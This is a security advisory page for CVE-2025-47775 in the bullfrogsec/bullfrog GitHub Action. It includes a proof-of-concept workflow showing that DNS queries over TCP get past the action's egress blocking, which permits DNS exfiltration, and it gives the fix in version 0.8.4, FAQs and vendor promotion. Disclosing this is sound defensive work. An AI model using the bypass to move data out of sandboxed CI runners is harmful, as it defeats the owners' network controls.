Summary
Using tcp breaks blocking and allows DNS exfiltration.
PoC
name: test
on:
push:
branches:
- "*"
jobs:
testBullFrog:
runs-on: ubuntu-22.04
steps:
- name: Use google dns
run: |
sudo resolvectl dns eth0 1.1.1.1
resolvectl status
- name: Set up bullfrog to block everything
uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
with:
egress-policy: block
allowed-domains: |
*.github.com
- name: Test connectivity
run: |
echo testing udp allowed ..
dig api.github.com @1.1.1.1 || :
echo testing tcp allowed ..
dig api.github.com @1.1.1.1 +tcp || :
echo testing udp not allowed
dig api.google.com @1.1.1.1 || :
echo testing tcp not allowed
dig api.google.com @1.1.1.1 +tcp || :
Impact
sandbox bypass
CVE-2025-47775 has a CVSS score of 6.2 (Medium). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-47775? CVE-2025-47775 is a medium-severity security vulnerability in bullfrogsec/bullfrog (actions), affecting versions < 0.8.4. It is fixed in 0.8.4.
- How severe is CVE-2025-47775? CVE-2025-47775 has a CVSS score of 6.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of bullfrogsec/bullfrog are affected by CVE-2025-47775? bullfrogsec/bullfrog (actions) versions < 0.8.4 is affected.
- Is there a fix for CVE-2025-47775? Yes. CVE-2025-47775 is fixed in 0.8.4. Upgrade to this version or later.
- Is CVE-2025-47775 exploitable, and should I be worried? Whether CVE-2025-47775 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-47775 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-47775? Upgrade
bullfrogsec/bullfrogto 0.8.4 or later.